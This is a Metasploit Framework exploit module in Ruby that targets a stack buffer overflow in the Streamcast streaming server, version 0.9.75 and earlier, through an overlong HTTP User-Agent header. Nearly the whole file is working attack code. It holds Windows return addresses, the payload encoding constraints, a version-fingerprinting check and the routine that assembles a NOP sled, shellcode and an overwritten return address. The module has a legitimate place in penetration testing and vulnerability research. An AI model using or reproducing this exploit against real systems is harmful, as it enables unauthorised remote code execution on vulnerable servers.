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## # $Id: steamcast_useragent.rb 9488 2010-06-11 16:12:05Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending an overly long User-Agent in an HTTP GET request, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'LSO <lso[@]hushmail.com>', # Original exploit module 'patrick' # Added references and check code. Default target to XP. ], 'License'=> BSD_LICENSE, 'Version'=> '$Revision: 9488 $', 'References' => [ [ 'CVE', '2008-0550' ], [ 'OSVDB', '42670' ], [ 'URL', 'http://aluigi.altervista.org/adv/steamcazz-adv.txt'], # [ 'BID', '' ], # No entry as yet ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 750, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops'=>'True', }, 'Platform' => 'win', 'Targets'=> [ # Tested OK by patrick 20090225 [ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], ], 'DisclosureDate' => 'Jan 24 2008', 'DefaultTarget' => 1)) register_options([ Opt::RPORT(8000) ], self) end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") res = sock.get(-1, 3) disconnect if (res =~ /Steamcast\/0.9.75/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect juju ="GET / HTTP/1.0\r\n" juju << "User-Agent: " + make_nops(1008 - payload.encoded.length) juju << payload.encoded + Rex::Arch::X86.jmp_short(6) + make_nops(2) juju << [ target.ret ].pack('V') + [0xe8, -850].pack('CV') juju <<rand_text_alpha_upper(275) print_status("Trying target #{target.name}...") sock.put(juju + "\r\n\r\n") handler disconnect end end |
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